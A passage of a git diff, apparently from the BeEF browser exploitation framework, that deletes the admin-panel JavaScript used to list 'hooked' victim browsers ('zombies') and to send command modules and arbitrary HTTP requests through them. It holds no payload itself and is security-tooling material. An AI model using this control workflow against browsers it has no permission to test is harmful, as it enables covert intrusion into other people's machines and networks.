m;if(k>=d(q)){m=n/(2*i)*h(q/k)}else{k=q;m=n/4}return k*g(2,-10*l)*e((l*o-m)*(2*i)/n)+q+j},elasticBoth:function(l,j,q,o,k,n){if(l==0||(l/=o/2)==2){return l==0?j:j+q}n=n||(o*(0.3*1.5));var m;if(k>=d(q)){m=n/(2*i)*h(q/k)}else{k=q;m=n/4}return l<1?-0.5*(k*g(2,10*(l-=1))*e((l*o-m)*(2*i)/n))+j:k*g(2,-10*(l-=1))*e((l*o-m)*(2*i)/n)*0.5+q+j},backIn:function(k,j,n,m,l){l=l||1.70158;return n*(k/=m)*k*((l+1)*k-l)+j},backOut:function(k,j,n,m,l){if(!l){l=1.70158}return n*((k=k/m-1)*k*((l+1)*k+l)+1)+j},backBoth:function(k,j,n,m,l){l=l||1.70158;return((k/=m/2)<1)?n/2*(k*k*(((l*=(1.525))+1)*k-l))+j:n/2*((k-=2)*k*(((l*=(1.525))+1)*k+l)+2)+j},bounceIn:function(k,j,m,l){return m-f.Easing.bounceOut(l-k,0,m,l)+j},bounceOut:function(k,j,m,l){if((k/=l)<(1/2.75)){return m*(7.5625*k*k)+j}else{if(k<(2/2.75)){return m*(7.5625*(k-=(1.5/2.75))*k+0.75)+j}else{if(k<(2.5/2.75)){return m*(7.5625*(k-=(2.25/2.75))*k+0.9375)+j}}}return m*(7.5625*(k-=(2.625/2.75))*k+0.984375)+j},bounceBoth:function(k,j,m,l){return(k', - '
    ', - '

    ', t, '

    ', s, '
    ', - '
    ', - ''].join(''); - } - return { - msg : function(title, format){ - if(!msgCt){ - msgCt = Ext.DomHelper.insertFirst(document.body, {id:'msg-div'}, true); - } - msgCt.alignTo(document, 't-t'); - var s = String.format.apply(String, Array.prototype.slice.call(arguments, 1)); - var m = Ext.DomHelper.append(msgCt, {html:createBox(title, s)}, true); - m.slideIn('t').pause(1).ghost("t", {remove:true}); - }, - - init : function(){ - - var lb = Ext.get('lib-bar'); - if(lb){ - lb.show(); - } - } - }; -}(); \ No newline at end of file diff --git a/public/javascript/ui/authentication.js b/public/javascript/ui/authentication.js deleted file mode 100644 index b19a6c663..000000000 --- a/public/javascript/ui/authentication.js +++ /dev/null @@ -1,73 +0,0 @@ -Ext.onReady(function() { - - var bd = Ext.getBody(); - - // xntrik 9/7/10 this is the functionality to try and submit the form - submitAuthForm = function() { - login_form.getForm().submit({ - waitMsg: 'Logging in ...', - success: function() { - window.location.href = '/ui/panel' - }, - failure: function() { - Ext.MessageBox.alert('Message', 'Error with username or password') - } - }); - } - - - var login_form = new Ext.form.FormPanel({ - - url: 'authentication/login', - formId: 'login_form', - labelWidth: 125, - frame: true, - title: 'Authentication', - bodyStyle:'padding:5px 5px 0', - width: 350, - - defaults: { - width: 175, - inputType: 'password' - }, - - defaultType: 'textfield', - - items: [{ - fieldLabel: 'Username', - name: 'username-cfrm', - inputType: 'textfield', - id: 'user', - listeners: { // xntrik 9/7/10 added this listener so form submits on enter - specialkey: function(field,e) { - if (e.getKey() == e.ENTER) { - submitAuthForm(); - } - } - } - },{ - fieldLabel: 'Password', - name: 'password-cfrm', - inputType: 'password', - id: 'pass', - listeners: { // xntrik 9/7/10 added this listener so form submits on enter - specialkey: function(field,e) { - if (e.getKey() == e.ENTER) { - submitAuthForm(); - } - } - } - }], - - buttons: [{ - text: 'Login', - handler: function() { - submitAuthForm(); - } - }] - }); - - login_form.render('centered'); - document.getElementById('user').focus(); //xntrik 27/7/10 - this doesn't throw warnings now - -}); diff --git a/public/javascript/ui/panel/DataGrid.js b/public/javascript/ui/panel/DataGrid.js deleted file mode 100644 index a7303bec1..000000000 --- a/public/javascript/ui/panel/DataGrid.js +++ /dev/null @@ -1,89 +0,0 @@ - -DataGrid = function(url, page, base) { - this.page = page; - this.url = url; - this.base = typeof(base) != 'undefined' ? base : {}; - - this.store = new Ext.ux.data.PagingJsonStore({ - root: 'logs', - autoDestroy: true, - autoLoad: false, - url: this.url, - storeId: 'myStore', - baseParams: this.base, - idProperty: 'id', - fields: ['id','type','event','date'], - totalProperty: 'count', - remoteSort: false, - sortInfo: {field: "date", direction: "DESC"} - }); - - this.bbar = new Ext.PagingToolbar({ - pageSize: this.page, - store: this.store, - displayInfo: true, - displayMsg: 'Displaying logs {0} - {1} of {2}', - emptyMsg: 'No logs to display' - }); - - this.columns = [{ - id: 'log-id', - header: 'Id', - hidden: true, - dataIndex: 'id', - sortable: false - }, { - id: 'log-type', - header: "Type", - dataIndex: 'type', - sortable: true, - width: 60, - renderer: function(value, metaData, record, rowIndex, colIndex, store) { - return "" + value + ""; - } - }, { - id: 'log-event', - header: "Event", - dataIndex: 'event', - sortable:true, - width: 420, - renderer: this.formatTitle - }, { - id: 'log-date', - header: "Date", - dataIndex: 'date', - width: 80, - renderer: this.formatDate, - sortable:true - }]; - - DataGrid.superclass.constructor.call(this, { - region: 'center', - id: 'topic-grid', - loadMask: {msg:'Loading Feed...'}, - - sm: new Ext.grid.RowSelectionModel({ - singleSelect:true - }), - - viewConfig: { - forceFit:true - }, - - listeners: { - afterrender: function(datagrid) { - datagrid.store.reload({params:{start:0, limit:datagrid.page, sort:"date", dir:"DESC"}}); - } - } - }); -}; - -Ext.extend(DataGrid, Ext.grid.GridPanel, {}); - -//Because we're using paging stores now, we have to override the PagingToolbar refresh -Ext.override(Ext.PagingToolbar, { - doRefresh: function() { - delete this.store.lastParams; - this.doLoad(this.cursor); - } -}); diff --git a/public/javascript/ui/panel/DistributedEngine.js b/public/javascript/ui/panel/DistributedEngine.js deleted file mode 100644 index de0cc96df..000000000 --- a/public/javascript/ui/panel/DistributedEngine.js +++ /dev/null @@ -1,39 +0,0 @@ -/* - * RULES TYPE - * - DOMAIN : DOMAIN www.zzz.com - * - EXTERNAL : EXTERNAL 123.456.789.123 - * - INTERNAL : INTERNAL 10.0.0.3 - */ -DistributedEngine = function() { - //defines the constant code to match with the backend ruby - this.CONSTANTS = { - 'requester' : 1, - 'portscanner' : 2 - }; - - /* - * Returns true of the hooked browser matches one of the rules and should be checked. - * @param: {Literal Object} the browser object. - * @param: {Literal Object} the rule set object. - * @return: {Boolean} true if matches, false if not. - */ - this.HookedBrowserMatchesRules = function(hooked_browser, rules) { - - }; - - /* - * Disable an existing rule in the framework. That function is called when the user - * unchecks a hooked browser. - * @param: {Integer} the id of the rule. - */ - this.DisableRule = function(rule_id) { - - }; - - /* - * Creates and sends a new rule to the backend. - */ - this.CreateNewRule = function() { - - }; -}; \ No newline at end of file diff --git a/public/javascript/ui/panel/Logout.js b/public/javascript/ui/panel/Logout.js deleted file mode 100644 index 5036d4e0a..000000000 --- a/public/javascript/ui/panel/Logout.js +++ /dev/null @@ -1,20 +0,0 @@ -DoLogout = function() { - - var button = Ext.get('do-logout-menu'); - - after_logout = function() { - // will redirect the UA to the login - window.location.href = '/ui/panel' - } - - button.on('click', function(){ - Ext.Ajax.request({ - url: '/ui/authentication/logout', - method: 'POST', - params: 'nonce=' + Ext.get("nonce").dom.value, - success: after_logout, - failure: after_logout - }); - - }) -}; \ No newline at end of file diff --git a/public/javascript/ui/panel/MainPanel.js b/public/javascript/ui/panel/MainPanel.js deleted file mode 100644 index 2a9cf432b..000000000 --- a/public/javascript/ui/panel/MainPanel.js +++ /dev/null @@ -1,66 +0,0 @@ -MainPanel = function(){ - this.preview = new Ext.Panel({ - id: 'preview', - region: 'south', - cls:'preview', - autoScroll: true, - listeners: PanelViewer.LinkInterceptor, - - tbar: [{ - id:'tab', - text: 'View in New Tab', - iconCls: 'new-tab', - disabled:true, - handler : this.openTab, - scope: this - }], - - clear: function(){ - this.body.update(''); - var items = this.topToolbar.items; - items.get('tab').disable(); - items.get('win').disable(); - } - }); - - this.grid = new DataGrid('/ui/logs/all.json',30); - this.grid.border = false; - this.welcome_tab = new WelcomeTab; - - MainPanel.superclass.constructor.call(this, { - id:'main-tabs', - activeTab:0, - region:'center', - margins:'0 5 5 0', - resizeTabs:true, - tabWidth:150, - minTabWidth: 120, - enableTabScroll: true, - plugins: new Ext.ux.TabCloseMenu(), - items: [{ - id:'welcome-view', - title:'Getting Started', - layout:'border', - hideMode:'offsets', - closable:true, - plain:true, - shadow:true, - items:[ - this.welcome_tab - ]},{ - id:'logs-view', - layout:'border', - title:'Logs', - hideMode:'offsets', - items:[ - this.grid - ] - }] - }); - -}; - -Ext.extend(MainPanel, Ext.TabPanel); - - -Ext.reg('appmainpanel', MainPanel); diff --git a/public/javascript/ui/panel/PanelStatusBar.js b/public/javascript/ui/panel/PanelStatusBar.js deleted file mode 100644 index 95363cd73..000000000 --- a/public/javascript/ui/panel/PanelStatusBar.js +++ /dev/null @@ -1,74 +0,0 @@ -/* - * The Beef_StatusBar class provides the functionality of the status bar - * at the bottom of each tab in the UI - * - * @param: {String} unique string for setting the status bar id. - * - */ - -Beef_StatusBar = function(unique_id) { - - var update_fail_wait = 2000; // delay before showing ready status - var update_sent_wait = 1000; // delay before showing ready status - - Beef_StatusBar.superclass.constructor.call(this, { - id: 'commands-bbar-zombie-' + unique_id, - - // defaults to use when the status is cleared: - defaultText: 'Ready', - defaultIconCls: 'x-status-valid', - - // values to set initially: - text: 'Ready', - iconCls: 'x-status-valid', - - // update status bar to ready - update_ready: function(str) { - var display_str = str || "Ready"; - this.setStatus({ - text: display_str, - iconCls: 'x-status-valid' - }); - }, - - // update status bar to fail - update_fail: function(str){ - var display_str = str || "Error!"; - - this.setStatus({ - text: display_str, - iconCls: 'x-status-error', - clear: { - wait: update_fail_wait, - anim: true, - useDefaults: true - } - }); - }, - - // update status bar to sending - update_sending: function(str) { - var display_str = str || "Sending..."; - this.showBusy(display_str); - }, - - // update status bar to sent - update_sent: function(str) { - var display_str = str || "Sent"; - this.setStatus({ - text: display_str, - iconCls: 'x-status-valid', - clear: { - wait: update_sent_wait, - anim: true, - useDefaults: true - } - }); - } - - }); - -}; - -Ext.extend(Beef_StatusBar, Ext.ux.StatusBar, {} ); - diff --git a/public/javascript/ui/panel/PanelViewer.js b/public/javascript/ui/panel/PanelViewer.js deleted file mode 100644 index 742ec1c06..000000000 --- a/public/javascript/ui/panel/PanelViewer.js +++ /dev/null @@ -1,57 +0,0 @@ -PanelViewer = {}; -var mainPanel, zombiesTreeLists, zombieTabs, zombiesManager; - -Ext.onReady(function() { - - Ext.QuickTips.init(); - - zombiesTreeLists = { - 'basic' : new zombiesTreeList('basic'), - 'requester' : new zombiesTreeList('requester') - }; - - zombieTabs = new ZombieTabs(zombiesTreeLists); - zombiesManager = new ZombiesMgr(zombiesTreeLists); - mainPanel = new MainPanel(); - - var viewport = new Ext.Viewport({ - layout:'border', - items:[ - new Ext.BoxComponent({ - region:'north', - el: 'header', - height: 32 - }), - zombieTabs, - mainPanel - ] - }); - - new DoLogout(); -}); - -/* - * Panel Events Updater - * - * This event updater retrieves updates every 8 seconds. Those updates - * are then pushed to various managers (i.e. the zombie manager). - */ -Ext.TaskMgr.start({ - run: function() { - Ext.Ajax.request({ - url: '/ui/panel/hooked-browser-tree-update.json', - method: 'POST', - success: function(response) { - var updates = Ext.util.JSON.decode(response.responseText); - var distributed_engine_rules = (updates['ditributed-engine-rules']) ? updates['ditributed-engine-rules'] : null; - var hooked_browsers = (updates['hooked-browsers']) ? updates['hooked-browsers'] : null; - - if(zombiesManager && hooked_browsers) { - zombiesManager.updateZombies(hooked_browsers, distributed_engine_rules); - } - } - }); - }, - - interval: 8000 -}); \ No newline at end of file diff --git a/public/javascript/ui/panel/WelcomeTab.js b/public/javascript/ui/panel/WelcomeTab.js deleted file mode 100644 index df7c1cfe0..000000000 --- a/public/javascript/ui/panel/WelcomeTab.js +++ /dev/null @@ -1,26 +0,0 @@ -WelcomeTab = function() { - - welcome = " \ -
    \ -

      BeEF - The Browser Exploitation Framework


    \ -

    Welcome to BeEF!


    \ -

    Before being able to fully explore the framework you will have to 'hook' a browser. To begin with you can point a browser towards the basic demo page here, or the advanced version here.


    \ -

    After a browser is hooked into the framework they will appear in the 'Hooked Browsers' panel on the left. Hooked browsers will appear in either an online or offline state, depending on how recently they have polled the framework. To interact with a hooked browser simply click it, a new tab will appear.


    \ -

    Each hooked browser tab has a number of sub-tabs, described below:

    \ -

    • Main: Display information about the hooked browser after you've run some command modules
    • \ -
    • Logs: Displays recent log entries related to this particular hooked browser.
    • \ -
    • Commands: This tab is where modules can be executed against the hooked browser. This is where most of the BeEF functionality resides.
    • \ -
    • Requester: The Requester tab is a special module that allows you to submit arbitrary HTTP requests on behalf of the hooked browser.


    \ -

    For more information visit: http://code.google.com/p/beef/


    \ -
    \ - "; - - WelcomeTab.superclass.constructor.call(this, { - region:'center', - padding:'10 10 10 10', - html: welcome, - border: false - }); -}; - -Ext.extend(WelcomeTab,Ext.Panel, {}); diff --git a/public/javascript/ui/panel/ZombieTab.js b/public/javascript/ui/panel/ZombieTab.js deleted file mode 100644 index 0869de9e3..000000000 --- a/public/javascript/ui/panel/ZombieTab.js +++ /dev/null @@ -1,31 +0,0 @@ -ZombieTab = function(zombie) { - - main_tab = new ZombieTab_DetailsTab(zombie); - log_tab = new ZombieTab_LogTab(zombie); - commands_tab = new ZombieTab_Commands(zombie); - requester_tab = new ZombieTab_Requester(zombie); - - //------------------------------------------- - ZombieTab.superclass.constructor.call(this, { - id: zombie.session, - activeTab: 0, - loadMask: {msg:'Loading browser...'}, - title: zombie.ip, - autoScroll: true, - closable: true, - viewConfig: { - forceFit: true, - type: 'fit' - }, - items:[main_tab, log_tab, commands_tab, requester_tab] - }); - -}; - -Ext.extend(ZombieTab, Ext.TabPanel, { - listeners: { - close: function(panel) { - panel.destroy(); - } - } -}); diff --git a/public/javascript/ui/panel/ZombieTabs.js b/public/javascript/ui/panel/ZombieTabs.js deleted file mode 100644 index aa477e012..000000000 --- a/public/javascript/ui/panel/ZombieTabs.js +++ /dev/null @@ -1,78 +0,0 @@ -ZombieTabs = function(zombie_tree_list) { - - //a variable to store the list of trees. - this.tree_items = new Array; - - //we store the list of trees in a correct array format for ExtJs - for(tree_name in zombie_tree_list) { - var tree = zombie_tree_list[tree_name]; - - //set the tree as distributed if it's not the basic tree - if(tree_name != "basic") { - tree.tree_configuration["distributed"] = true; - } - - this.tree_items.push(tree); - } - - /* - * Update each tree with a new configuration and regenerates them. - * @param: {Literal Object} updated configuration for the trees - */ - function update_trees_configuration(configuration) { - var tree_panel = Ext.getCmp("zombie-tree-tabs-panel"); - var trees = tree_panel.items; - - Ext.each(trees.items, function(tree) { - tree.updateConfiguration(configuration); - tree.reload(); - }); - }; - - //the bottom bar for that panel - this.bottom_bar = new Ext.Toolbar({ - items: [ - { - xtype: 'tbtext', - text: 'Sort by:' - }, - { - //list the hooked browsers by domain - text: 'domain', - listeners: { - click: function(b) { - update_trees_configuration({'sub-branch' : 'domain'}); - } - } - }, - '-', - { - //list the hooked browsers by external ip - text: 'external ip', - listeners: { - click: function() { - alert('under construction'); - } - } - } - ] - }); - - MainPanel.superclass.constructor.call(this, { - id: 'zombie-tree-tabs-panel', - title: 'Hooked Browsers', - headerAsText: true, - tabPosition: 'bottom', - region:'west', - activeTab: 0, - margins:'0 5 5 5', - width: 225, - minSize: 175, - maxSize: 400, - deferredRender: false, - items: this.tree_items, - bbar: this.bottom_bar - }); -}; - -Ext.extend(ZombieTabs, Ext.TabPanel); \ No newline at end of file diff --git a/public/javascript/ui/panel/ZombiesMgr.js b/public/javascript/ui/panel/ZombiesMgr.js deleted file mode 100644 index ae40e95b5..000000000 --- a/public/javascript/ui/panel/ZombiesMgr.js +++ /dev/null @@ -1,65 +0,0 @@ -var ZombiesMgr = function(zombies_tree_lists) { - - //save the list of trees in the object - this.zombies_tree_lists = zombies_tree_lists; - - // this is a helper class to create a zombie object from a JSON hash index - this.zombieFactory = function(index, zombie_array){ - text = " "; - text += " "; - text += zombie_array[index]["ip"]; - - var new_zombie = { - 'id' : index, - 'ip' : zombie_array[index]["ip"], - 'session' : zombie_array[index]["session"], - 'text': text, - 'check' : false, - 'domain' : zombie_array[index]["domain"] - }; - - return new_zombie; - } - - /* - * Update the hooked browser trees - * @param: {Literal Object} an object containing the list of offline and online hooked browsers. - * @param: {Literal Object} an object containing the list of rules from the distributed engine. - */ - this.updateZombies = function(zombies, rules){ - var offline_hooked_browsers = zombies["offline"]; - var online_hooked_browsers = zombies["online"]; - - for(tree_type in this.zombies_tree_lists) { - hooked_browsers_tree = this.zombies_tree_lists[tree_type]; - - //we compare and remove the hooked browsers from online and offline branches for each tree. - hooked_browsers_tree.compareAndRemove(zombies); - - //add an offline browser to the tree - for(var i in offline_hooked_browsers) { - var offline_hooked_browser = this.zombieFactory(i, offline_hooked_browsers); - hooked_browsers_tree.addZombie(offline_hooked_browser, false, ((tree_type != 'basic') ? true : false)); - } - - //add an online browser to the tree - for(var i in online_hooked_browsers) { - var online_hooked_browser = this.zombieFactory(i, online_hooked_browsers); - hooked_browsers_tree.addZombie(online_hooked_browser, true, ((tree_type != 'basic') ? true : false)); - } - - //apply the rules to the tree - hooked_browsers_tree.applyRules(rules); - - //expand the online hooked browser tree lists - if(hooked_browsers_tree.online_hooked_browsers_treenode.childNodes.length > 0) { - hooked_browsers_tree.online_hooked_browsers_treenode.expand(true); - } - - //expand the offline hooked browser tree lists - if(hooked_browsers_tree.offline_hooked_browsers_treenode.childNodes.length > 0) { - hooked_browsers_tree.offline_hooked_browsers_treenode.expand(true); - } - } - } -}; \ No newline at end of file diff --git a/public/javascript/ui/panel/common.js b/public/javascript/ui/panel/common.js deleted file mode 100644 index bc4afdff5..000000000 --- a/public/javascript/ui/panel/common.js +++ /dev/null @@ -1,394 +0,0 @@ -var zombie_execute_button_text = 'Execute' -var zombie_reexecute_button_text = 'Re-execute' -var re_execute_command_title = 'Re-execute command' - -/** - * Generates fields for the form used to send command modules. - * - * @param: {Object} the form to generate the field in. - * @param: {String/Object} the field name or it's definition as an object. - * @param: {String} the value that field should have. - * @param: {Boolean} set to true if you want the field to be disabled. - * @param: {Object} the targeted Zombie. - */ -function generate_form_input_field(form, input, value, disabled, zombie) { - var input_field = null; - var input_def = null; - - if (!input['ui_label']) input['ui_label'] = input['name']; - if (!input['type']) input['type'] = 'textfield'; - if (!input['value']) input['value'] = ''; - - input_def = { - id: 'form-zombie-'+zombie.session+'-field-'+input['name'], - name: 'txt_'+input['name'], - fieldLabel: input['ui_label'], - anchor:'70%', - allowBlank: false, - value: input['value'] - }; - - // create the input field object based upon the type supplied - switch(input['type'].toLowerCase()) { - case 'textfield': - input_field = new Ext.form.TextField(input_def); - break; - case 'textarea': - input_field = new Ext.form.TextArea(input_def); - break; - case 'hidden': - input_field = new Ext.form.Hidden(input_def); - break; - case 'label': - input_def['fieldLabel'] = '' - input_def['html'] = input['html']; - input_field = new Ext.form.Label(input_def); - break; - case 'checkbox': - input_def['name'] = 'chk_' + input['name']; - input_field = new Ext.form.Checkbox(input_def); - break; - case 'checkboxgroup': - input_def['name'] = 'chkg_' + input['name']; - input_def['items'] = input['items']; - input_field = new Ext.form.CheckboxGroup(input_def); - break; - case 'combobox': - input_def['name'] = 'com_' + input['name']; - input_def['triggerAction'] = 'all'; - - // add a listener so that when the check box is changed it will update the payload options - if(input.reloadOnChange) { // input.reloadOnChange is set in msfcommand.rb - Ext.getCmp("payload-panel").show(); // initially the panel will be empty so it may appear still hidden - input_def['listeners'] = { - 'select': function(combo, value) { - get_dynamic_payload_details(combo.getValue(), zombie); // combo.getValue() is the selected payload - } - }; - } - - // create store to contain options for the combo box - input_def['store'] = new Ext.data.ArrayStore( { - fields: input['store_fields'], - data: input['store_data'] - }); - - input_field = new Ext.form.ComboBox(input_def); - - break; - default: - input_field = new Ext.form.TextField(input_def); - break; - } - - // add the properties for the input element, for example: widths, default values and the html lables - for(definition in input) { - if( (typeof input[definition] == 'string') && (definition != 'type') && (definition != 'name')) { - input_field[definition] = input[definition]; - } - } - - if(value) input_field.setValue(value); - if(disabled) input_field.setDisabled(true); - - form.add(input_field); - -}; - -function get_dynamic_payload_details(payload, zombie) { - - modid = Ext.getCmp( 'form-zombie-'+zombie.session+'-field-mod_id').value - Ext.Ajax.request({ - loadMask: true, - url: '/ui/modules/select/commandmodule.json', - method: 'POST', - params: 'command_module_id=' + modid + '&' + 'payload_name=' + payload, - success: function(resp) { - var module = Ext.decode(resp.responseText); - module = module.command_modules[1]; - - Ext.getCmp("payload-panel").removeAll(); // clear the panel contents - Ext.each(module.Data, function(input){ - // generate each of the payload input options - generate_form_input_field(Ext.getCmp("payload-panel"), input, null, false, zombie); - }); - - Ext.getCmp("payload-panel").doLayout(); - } - }) -} - -/** - * Generate a panel for an command module that already has been executed. - * - * @param: {Object} the Panel in the UI to generate the form into. - * @param: {Integer} the command id to generate the panel for. - * @param: {Object} the targeted Zombie. - * @param: {Object} the status bar. - */ -function genExisingExploitPanel(panel, command_id, zombie, sb) { - if(typeof panel != 'object') { - Ext.beef.msg('Bad!', 'Incorrect panel chosen.'); - return; - } - - sb.showBusy(); // status bar update - panel.removeAll(); - - Ext.Ajax.request({ - url: '/ui/modules/select/command.json', - method: 'POST', - params: 'command_id=' + command_id, - loadMask: true, - success: function(resp) { - var xhr = Ext.decode(resp.responseText); - - if(!xhr || !xhr.definition) { - Ext.beef.msg('Error!', 'We could not retrieve the definition of that command module...'); - return; - } - - var form = new Ext.form.FormPanel({ - url: '/ui/modules/commandmodule/reexecute', - id: 'form-command-module-zombie-'+zombie.session, - border: false, - labelWidth: 75, - defaultType: 'textfield', - title: re_execute_command_title, - bodyStyle: 'padding: 5px;', - - items: [new Ext.form.Hidden({name: 'command_id', value: command_id})], - - buttons:[{ - text: zombie_reexecute_button_text, - handler: function() { - var form = Ext.getCmp('form-command-module-zombie-'+zombie.session); - if(!form || !form.getForm().isValid()) return; - - sb.update_sending('Sending commands to ' + zombie.ip + '...'); // status bar update - - var command_module_form = form.getForm(); // form to be submitted when execute button is pressed on an command module tab - command_module_form.submit({ - params: { // insert the nonce with the form - nonce: Ext.get ("nonce").dom.value - }, - success: function() { - sb.update_sent("Commands sent to zombie " + zombie.ip); // status bar update - }, - failure: function() { - sb.update_fail("Error!"); // status bar update - } - }); - } - }] - }); - - Ext.each(xhr.definition.Data, function(input) { - var value = null; - - if(typeof input == 'string') { - value = xhr.data[input]; - } - - if(typeof input == 'object' && typeof input[0] == 'object') { - value = xhr.data[input[0]['name']] - } - - generate_form_input_field(form, input, value, false, zombie); - }); - - var grid_store = new Ext.data.JsonStore({ - url: '/ui/modules/select/command_results.json?command_id='+command_id, - storeId: 'command-results-store-zombie-'+zombie.session, - root: 'results', - remoteSort: false, - autoDestroy: true, - fields: [ - {name: 'date', type: 'date', dateFormat: 'timestamp'}, - {name: 'data'} - ] - }); - - Ext.TaskMgr.start({ - run: function(task) { - var grid = Ext.getCmp('command-results-grid-zombie-'+zombie.session); - //here we have to check for the existance of the grid before reloading - //because we do not want to reload the store if the tab has been closed. - if(grid_store && grid) { - grid_store.reload(); - } - }, - interval: 4000 - }); - - var grid = new Ext.grid.GridPanel({ - id: 'command-results-grid-zombie-'+zombie.session, - store: grid_store, - border: false, - hideHeaders: true, - title: 'Command results', - - viewConfig: { - forceFit:true - }, - - columns:[new Ext.grid.RowNumberer({width: 20}), { - dataIndex: 'date', - sortable: false, - renderer: function(value, p, record) { - html = String.format("
    {0}
    ", value); - html += '

    '; - - for(index in record.data.data) { - result = record.data.data[index]; - index = index.toString().replace('_', ' '); - - html += String.format('{0}: {1}
    ', index, result); - } - - html += '

    '; - return html; - } - }] - }); - - grid.store.load(); - - var accordion = new Ext.Panel({ - id: 'command-results-accordion-zombie-'+zombie.session, - layout:'accordion', - border: false, - items: [grid, form] - }); - - panel.add(accordion); - panel.doLayout(); - - sb.update_ready(); // status bar update - } - }); -}; - -/** - * Generate a panel for an command module. - * - * @param: {Object} the Panel in the UI to generate the form into. - * @param: {String} the path to the command module file in the framework. - * @param: {String} the name of the command module. - * @param: {Object} the targeted Zombie. - * @param: {Object} the status bar. - */ -function genNewExploitPanel(panel, command_module_id, command_module_name, zombie, sb) { - if(typeof panel != 'object') { - Ext.beef.msg('Bad!', 'Incorrect panel chosen.'); - return; - } - - var xgrid = Ext.getCmp('command-module-grid-zombie-'+zombie.session); - var sb = Ext.getCmp('commands-bbar-zombie-'+zombie.session); - - if(command_module_name == 'some special command module') { - //HERE we will develop specific panels for the command modules that require it. - } else { - Ext.Ajax.request({ - loadMask: true, - url: '/ui/modules/select/commandmodule.json', - method: 'POST', - params: 'command_module_id=' + command_module_id, - success: function(resp) { - var module = Ext.decode(resp.responseText); - - if(!module) { - Ext.beef.msg('Error!', 'We could not retrieve the definition of that command_module...'); - return; - } - - var submiturl = '/ui/modules/commandmodule/new'; - if(module.dynamic){ - submiturl = '/ui/modules/commandmodule/dynamicnew'; - } - - module = module.command_modules[1]; - panel.removeAll(); - - var form = new Ext.form.FormPanel({ - url: submiturl, - - id: 'form-command-module-zombie-'+zombie.session, - border: false, - labelWidth: 75, - defaultType: 'textfield', - title: module.Name, - bodyStyle: 'padding: 5px;', - - items: [ - new Ext.form.Hidden({name: 'zombie_session', value: zombie.session}), - new Ext.form.Hidden({name: 'command_module_id', value: command_module_id}), - new Ext.form.DisplayField({ - name: 'command_module_description', - fieldLabel: 'Description', - fieldClass: 'command-module-panel-description', - value: module.Description - }) - ], - - buttons:[{ - text: zombie_execute_button_text, - handler: function() { - var form = Ext.getCmp('form-command-module-zombie-'+zombie.session), command_module_params = new Array(); - - if(!form || !form.getForm().isValid()) { - sb.update_fail("Please complete all input fields!"); // status bar update - return; - } - - sb.update_sending('Sending commands to ' + zombie.ip + '...'); // status bar update - - var command_module_form = form.getForm(); // form to be submitted when execute button is pressed on an command module tab - - command_module_form.submit({ - params: { // insert the nonce with the form - nonce: Ext.get ("nonce").dom.value - }, - success: function() { - xgrid.i = 0; - xgrid.store.reload({ //reload the command module grid - params: { // insert the nonce with the request to reload the grid - nonce: Ext.get ("nonce").dom.value - } - }); - sb.update_sent("Commands sent to zombie " + zombie.ip); // status bar update - }, - failure: function() { - sb.update_fail("Error!"); // status bar update - } - }); - } - }] - }); - - // create the panel and hide it - var payload_panel = new Ext.Panel({ - id: 'payload-panel', // used with Ext.GetCmp('payload-panel') - bodyStyle: 'padding:10px;', // we can assign styles to the main div - layout : 'form', - bodyBorder: false, - height: 200, - hidden: true, - border: false //we can remove the border of the panel - }); - - Ext.each(module.Data, function(input){ - generate_form_input_field(form, input, null, false, zombie)} - ); - - form.add(payload_panel); - - panel.add(form); - panel.doLayout(); - // hide the load mask after rendering of the config panel is done - panel.configLoadMask.hide(); - } - }); - } -}; diff --git a/public/javascript/ui/panel/tabs/ZombieTabCommands.js b/public/javascript/ui/panel/tabs/ZombieTabCommands.js deleted file mode 100644 index 5f3b111fb..000000000 --- a/public/javascript/ui/panel/tabs/ZombieTabCommands.js +++ /dev/null @@ -1,187 +0,0 @@ -/* - * The command tab panel. Listing the list of commands sent to the zombie. - * Loaded in /ui/panel/index.html - */ -ZombieTab_Commands = function(zombie) { - var command_module_config = new Ext.Panel({ - id: 'zombie-command-module-config-'+zombie.session, - region: 'center', - border: false, - layout: 'fit', - autoScroll: true - }); - - var welcomeWindow = new Ext.Window({ - title: 'Welcome to BeEF', - id: 'welcome-window', - closable:true, - width:450, - height:300, - plain:true, - layout: 'border', - shadow: true, - items: [ - new Ext.Panel({ - region: 'center', - padding: '3 3 3 3', - html: "At your left you have all the BeEF command modules organized in a category tree.

    " + - "Most command modules consist of Javascript code that is executed against the selected " + - "Hooked Browser. Command modules are able to perform any actions that can be achieved " + - "trough Javascript: for example they may gather information about the Hooked Browser, manipulate the DOM " + - "or perform other activities such as exploiting vulnerabilities within the local network " + - "of the Hooked Browser.

    To learn more about writing your own modules please review " + - "the wiki:
    " + - "http://code.google.com/p/beef/wiki/DevDocs

    " + - "Each command module has a traffic light icon, which is used to indicate the following:
      " + - "
    • - Command does not work against this target
    • " + - "
    • - It is unknown if this command works against this target
    • " + - "
    • - The command works against the target, but may be visible to the user
    • " + - "
    • - The command works against the target and should be invisible to the user
    " - }) - ] - }); - - var command_module_grid = new Ext.grid.GridPanel({ - store: new Ext.data.JsonStore({ - url: '/ui/modules/commandmodule/commands.json', - params: { // insert the nonce with the form - nonce: Ext.get ("nonce").dom.value - }, - autoDestroy: false, - autoLoad: false, - root: 'commands', - fields: ['label', 'creationdate', 'id', 'object_id'], - sortInfo: {field: 'id', direction: 'ASC'} - }), - - id: 'command-module-grid-zombie-'+zombie.session, - sortable: true, - autoWidth: false, - region: 'west', - stripeRows: true, - autoScroll: true, - border: false, - width: 260, - bodyStyle: 'border-right: 1px solid #99BBE8; border-left: 1px solid #99BBE8;', - i:0, - - view: new Ext.grid.GridView({ - forceFit: true, - emptyText: "The results from executed command modules will be listed here.", - enableRowBody:true - }), - - columns: [ - {header: 'id', width: 35, sortable: true, dataIndex: 'id'}, - {header: 'date', width: 100, sortable: true, dataIndex: 'creationdate'}, - {header: 'label', sortable: true, dataIndex: 'label', renderer: function(value) { if(value==null) {command_module_grid.i +=1; return 'command '+command_module_grid.i;} else return value;}}, - {header: 'object_id', sortable: true, dataIndex: 'object_id', hidden: true, menuDisabled: true} - ] - }); - - command_module_grid.on('rowclick', function(grid, rowIndex, e) { - var r = grid.getStore().getAt(rowIndex).data; - var command_id = r.object_id || null; - - if(!command_id) return; - - genExisingExploitPanel(command_module_config, command_id, zombie, commands_statusbar); - }); - - var command_module_tree = new Ext.tree.TreePanel({ - border: false, - region: 'west', - width: 190, - minSize: 190, - maxSize: 500, // if some command module names are even longer, adjust this value - useArrows: true, - autoScroll: true, - animate: true, - containerScroll: true, - rootVisible: false, - root: {nodeType: 'async'}, - loader: new Ext.tree.TreeLoader({ - 